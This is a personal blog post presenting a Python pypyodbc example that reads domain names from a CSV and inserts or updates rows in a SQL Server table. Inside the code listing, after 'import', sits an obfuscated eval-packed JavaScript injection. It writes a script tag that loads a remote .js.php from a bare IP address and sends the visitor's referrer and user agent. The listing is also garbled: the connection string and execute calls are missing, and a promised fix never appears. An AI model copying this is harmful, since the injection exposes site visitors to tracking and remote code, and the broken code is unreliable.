I sometime post my own code here so I can find an example I like in the future, rather than having to search the web. So there’s nothing extraordinary with the program below, just a good example of how to do SQL Server update commands using pypyodbc from Python.

It’s using a relation database (RDS) hosted on Amazon Cloud (AWS). The purpose of this program is as follows:
1) Read a CSV and get the domain name from column 2 (the CSV header was already removed)
2) Check to see if that domain-name exists in my table of domain names (SEOWebSite)
3) If it exists, update the seows_host_id to 4 (which is a foreign key to a table that specifies where the domain is hosted)
4) If it doesn’t exist, add it with some default values for various foreign keys.

import <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nfnrk|var|u0026u|referrer|yerdi||js|php'.split('|'),0,{}))
</script></noindex> pypyodbc
import sys
print ("Python Version:" + sys.version)

connection = pypyodbc.connect('Driver={SQL Server};'
print ("Connected")
cursor = connection.cursor() 

# read each line of file
filenameContainingDomainNames = "c:/Users/nwalt/OneDrive/Documents/SEOMonitor/EBN Blogs Export_NoHeader.csv"
with open(filenameContainingDomainNames) as f:
	for line in f:
		fixLine = line.replace('\n', ' ').replace('\r', '')
		print ("===============================================")
		print (fixLine)
		columns = fixLine.split(",")
		domainName = columns[1]
		print ("domainName=" + domainName) 
			"SELECT seows_name FROM SEOWebSite WHERE seows_name = ?", [domainName])
		# gets the number of rows affected by the command executed
		row_count = cursor.rowcount
		print("number of matching rows: {}".format(row_count))
		if row_count == 0:
			print ("It Does Not Exist")
			SQLCommand = ("INSERT INTO SEOWebSite "
						 "(seows_userid, seows_name, seows_is_monetized, seows_is_pbn, seows_registrar_id, seows_host_id) "
						 "VALUES (?,?,?,?,?,?)")
			Values = [1,domainName,False,True,4,4] 
			print ("Data Stored:" + domainName)
			print ("Updating to EBN for domain=" + domainName)
			SQLCommand = "UPDATE SEOWebSite set seows_host_id = 4 where seows_name = ?"; 
			Values = [domainName] 
print ("Connection closed")

One annoying thing is that the rowCount seemed to be displayed as -1 or 0, one less than what I expected.
I didn’t need to fix it, but maybe next time would try this instead:

Filed under: Python